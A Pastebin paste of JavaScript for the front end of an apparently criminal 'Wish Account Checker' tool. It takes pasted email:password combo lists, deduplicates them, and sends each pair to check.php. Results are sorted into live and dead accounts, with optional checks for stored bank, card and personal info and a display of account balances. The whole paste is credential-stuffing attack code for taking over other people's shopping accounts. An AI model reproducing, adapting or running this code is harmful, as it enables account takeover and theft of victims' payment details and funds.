BlackmouseID

Check.js

Apr 3rd, 2016
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.28 KB | None | 0 0
  1. var ajaxCall;
  2.  
  3. Array.prototype.remove = function(value){
  4. var index = this.indexOf(value);
  5. if(index != -1){
  6. this.splice(index, 1);
  7. }
  8. return this;
  9. };
  10. function enableTextArea(bool){
  11. $('#mailpass').attr('disabled', bool);
  12. }
  13. function gbrn_liveUp(){
  14. var count = parseInt($('#acc_live_count').html());
  15. count++;
  16. $('#acc_live_count').html(count+'');
  17. }
  18. function gbrn_dieUp(){
  19. var count = parseInt($('#acc_die_count').html());
  20. count++;
  21. $('#acc_die_count').html(count+'');
  22. }
  23. function gbrn_wrongUp(){
  24. var count = parseInt($('#wrong_count').html());
  25. count++;
  26. $('#wrong_count').html(count+'');
  27. }
  28. function gbrn_badUp(){
  29. var count = parseInt($('#bad_count').html());
  30. count++;
  31. $('#bad_count').html(count+'');
  32. }
  33.  
  34. function stopLoading(bool){
  35. $('#loading').attr('src', '/img/clear.gif');
  36. var str = $('#checkStatus').html();
  37. $('#checkStatus').html(str.replace('Checking','Stopped'));
  38. enableTextArea(false);
  39. $('#submit').attr('disabled', false);
  40. $('#stop').attr('disabled', true);
  41. if(bool){
  42. alert('Done');
  43. }else{
  44. ajaxCall.abort();
  45. }
  46. }
  47. function updateTitle(str){
  48. document.title = str;
  49. }
  50. function updateTextBox(mp){
  51. var mailpass = $('#mailpass').val().split("\n");
  52. mailpass.remove(mp);
  53. $('#mailpass').val(mailpass.join("\n"));
  54. }
  55. function GbrnTmfn(lstMP, curMP, delim, cEmail, bank, card, info, no){
  56.  
  57. if(lstMP.length<1 || curMP>=lstMP.length){
  58. stopLoading(true);
  59. return false;
  60. }
  61. updateTextBox(lstMP[curMP]);
  62. ajaxCall = $.ajax({
  63. url: 'check.php',
  64. dataType: 'json',
  65. cache: false,
  66. type: 'POST',
  67. beforeSend: function (e) {
  68. updateTitle('['+no+'/'+lstMP.length+'] Tikuscode | Wish Account Checker');
  69. $('#checkStatus').html('Checking: '+ lstMP[curMP]).effect("highlight", {color:'#00ff00'}, 1000);
  70. $('#loading').attr('src', '/img/loading.gif');
  71. },
  72. data: 'ajax=1&do=check&mailpass='+encodeURIComponent(lstMP[curMP])
  73. +'&delim='+encodeURIComponent(delim)+'&email='+cEmail+'&bank='+bank+'&card='+card+'&info='+info,
  74. success: function(data) {
  75. switch(data.error){
  76. case -1:
  77. curMP++;
  78. $('#wrong').append(data.msg+'<br />');
  79. gbrn_wrongUp();
  80. break;
  81. case 1:
  82. case 3:
  83. case 2:
  84. curMP++;
  85. $('#acc_die').append(data.msg+'<br />');
  86. gbrn_dieUp();
  87. break;
  88. case 0:
  89. curMP++;
  90. $('#acc_live').append(data.msg+'<br />');
  91. $('#my_balance').text(data.balance);
  92. gbrn_liveUp();
  93. break;
  94. }
  95. no++;
  96. GbrnTmfn(lstMP, curMP, delim, cEmail, bank, card, info, no);
  97. }
  98. });
  99. return true;
  100. }
  101. function filterMP(mp, delim){
  102. var mps = mp.split("\n");
  103. var filtered = new Array();
  104. var lstMP = new Array();
  105. for(var i=0;i<mps.length;i++){
  106. if(mps[i].indexOf('@')!=-1){
  107. var infoMP = mps[i].split(delim);
  108. for(var k=0;k<infoMP.length;k++){
  109. if(infoMP[k].indexOf('@')!=-1){
  110. var email = $.trim(infoMP[k]);
  111. var pwd = $.trim(infoMP[k+1]);
  112. if(filtered.indexOf(email.toLowerCase())==-1){
  113. filtered.push(email.toLowerCase());
  114. lstMP.push(email+'|'+pwd);
  115. break;
  116. }
  117. }
  118. }
  119. }
  120. }
  121. return lstMP;
  122. }
  123. function resetResult() {
  124. $('#acc_die,#wrong').html('');
  125. $('#acc_die_count,#wrong_count').text(0);
  126. }
  127. $(document).ready(function(){
  128. $('#stop').attr('disabled', true).click(function(){
  129. stopLoading(false);
  130. });
  131. $('#submit').click(function(){
  132. var no = 1;
  133. var delim = $('#delim').val().trim();
  134. var mailpass = filterMP($('#mailpass').val(), delim);
  135. var bank = $('#bank').is(':checked') ? 1 : 0;
  136. var card = $('#card').is(':checked') ? 1 : 0;
  137. var info = $('#info').is(':checked') ? 1 : 0;
  138. var cEmail = $('#email').is(':checked') ? 1 : 0;
  139. if($('#mailpass').val().trim()==''){
  140. alert('No Mail/Pass found!');
  141. return false;
  142. }
  143. $('#mailpass').val(mailpass.join("\n")).attr('disabled', true);
  144. $('#result').show();
  145. resetResult();
  146. $('#submit').attr('disabled', true);
  147. $('#stop').attr('disabled', false);
  148. GbrnTmfn(mailpass, 0, delim, cEmail, bank, card, info, no);
  149. return false;
  150. });
  151. });
Add Comment
Please, Sign In to add comment